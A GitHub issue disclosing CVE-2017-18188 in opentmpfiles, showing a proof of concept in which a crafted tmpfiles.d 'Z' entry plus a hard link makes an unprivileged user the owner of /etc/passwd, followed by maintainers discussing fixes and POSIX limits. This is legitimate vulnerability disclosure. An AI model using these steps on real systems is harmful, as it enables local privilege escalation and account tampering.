Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2017-18188: Unsafe use of recursive chown in "Z" support #3

orlitzky opened this issue Dec 24, 2017 · 2 comments


None yet
2 participants
Copy link

commented Dec 24, 2017

The tmpfiles.d specification for the Z type more or less implies some kind of recursive chown. The spec heads off one type of vulnerability by saying that symlinks should not be followed; however, hard links are still a problem. Consider the following:

$ cat /etc/tmpfiles.d/exploit-recursive.conf 
d /var/lib/opentmpfiles-exploit-recursive 0755 mjo mjo
Z /var/lib/opentmpfiles-exploit-recursive 0755 mjo mjo

The first time that opentmpfiles-setup is launched, everything is fine. But then my "mjo" user owns the directory in question, and I can create a hard link...

$ ln /etc/passwd /var/lib/opentmpfiles-exploit-recursive/x

and restart opentmpfiles-setup...

$ sudo /etc/init.d/opentmpfiles-setup restart
 * WARNING: you are stopping a boot service
 * Setting up tmpfiles.d entries ...                                      [ ok ]

and now I own /etc/passwd!

$ /bin/ls -l /etc/passwd
-rwxr-xr-x 2 mjo mjo 1504 Dec 20 14:27 /etc/passwd

This happens, ultimately, because chown -R will "follow" a hard link. This same problem was addressed in OpenRC's checkpath helper in Gentoo bug 540006.

@orlitzky orlitzky changed the title Unsafe use of recursive chown in "Z" support CVE-2017-18188: Unsafe use of recursive chown in "Z" support Feb 14, 2018


This comment has been minimized.

Copy link

commented Oct 23, 2018

Looking at this briefly, it looks like ultimately the issue is in chown.
Otherwise, I think the only way I could fix this would be to check everything and make sure it had only one hard link.


This comment has been minimized.

Copy link

commented Oct 23, 2018

I would say the problem is in the tmpfiles.d specification. Ultimately, there's no reason why you should ever have to "fix" permissions at startup: temporary directories will be gone, so you can create them anew with the correct permissions (mkdir/chown the top-level directory, and then drop privileges to create the rest); and non-temporary directories should still be there from before.

But, the tmpfiles.d specification allows it, so people do it. And it turns out to be impossible to adjust permissions on user-controlled files in a safe manner using only POSIX features. Systemd uses a Linux-specific trick to do it safely. The way chown works is specified by POSIX -- so that's not going to change. The best we can do is try to fake this with a "hardlink count" check as was done in checkpath. That leaves a race condition, but it can't be helped if we want to support tmpfiles.d in OpenRC. And of course it would require this whole thing to be rewritten in C...

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.